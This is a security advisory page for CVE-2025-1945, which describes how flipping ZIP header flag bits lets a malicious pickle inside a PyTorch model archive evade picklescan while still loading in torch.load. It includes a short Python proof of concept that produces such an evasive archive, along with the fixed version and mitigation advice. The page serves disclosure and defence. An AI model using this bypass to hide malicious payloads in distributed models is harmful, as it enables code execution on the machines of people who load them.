CVE-2025-1945 — picklescan
Fix: mmaitre314/picklescan@e58e45eCVE-2025-1945 is a CWE-345 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
picklescan - Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-1945.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.
Details
PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.
By modifying the flag_bits field in the ZIP file entry, an attacker can:
- Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.
- Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.
- Prevent PickleScan from scanning the archive due to errors raised by zipfile.
- Successfully load the model with torch.load(), which ignores the flag modifications.
This technique effectively bypasses PickleScan's security checks while maintaining model functionality.
PoC
import os
import zipfile
import torch
from picklescan import cli
def can_scan(zip_file):
try:
cli.print_summary(False, cli.scan_file_path(zip_file))
return True
except Exception:
return False
bit_to_flip = 0x1 # Change to 0x20 or 0x40 to test different flag bits
zip_file = "model.pth"
model = {'a': 1, 'b': 2, 'c': 3}
torch.save(model, zip_file)
with zipfile.ZipFile(zip_file, "r") as source:
flipped_name = f"flipped_{bit_to_flip}_{zip_file}"
with zipfile.ZipFile(flipped_name, "w") as dest:
bad_file = zipfile.ZipInfo("model/bad_file.pkl")
# Modify the ZIP flag bits
bad_file.flag_bits |= bit_to_flip
dest.writestr(bad_file, b"bad content")
for item in source.infolist():
dest.writestr(item, source.read(item.filename))
if model == torch.load(flipped_name, weights_only=False):
if not can_scan(flipped_name):
print('Found exploitable bit:', bit_to_flip)
else:
os.remove(flipped_name)
Impact
Severity: High
- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.
- What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading.
- Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.
Recommendations
- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.
- Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.
By addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.23pip install --upgrade 'picklescan==0.0.23' |
Affected Products
picklescanmmaitre314Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.23 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-1945 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2025-1945 in your dependencies?
Find it across PyPI, including transitive dependencies.